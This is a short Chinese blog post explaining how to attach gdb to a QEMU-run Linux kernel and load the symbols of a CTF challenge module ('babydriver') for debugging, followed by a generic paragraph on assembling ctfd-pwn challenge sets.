借鉴博客 文章链接的调试方法

  1. 提取vmlinux,需要使用extract-vmlinux脚本提取出带符号的源码
    ./extract-vmlinux ./bzImage > vmlinux
    
  2. 启动gdb
    gdb ./vmlinux -q
    
  3. 导入符号表,这里需要查看模块加载在内存中的真实地址,用boot.sh脚本运行之后输入命令lsmod即可
    / $ lsmod
    babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
    
    然后在gdb中输入
    add-symbol-file /home/supergate/Desktop/Pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    
  4. 添加远程执行参数,在boot.sh的qemu参数中添加
    -gdb tcp::7777
    
  5. gdb连接程序,在gdb中执行命令
    target remote 127.0.0.1:7777
    

这样我们就可以带exp调试了。
由于我们已经导入了符号表,可以直接通过b babyioctl的方式下断点

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值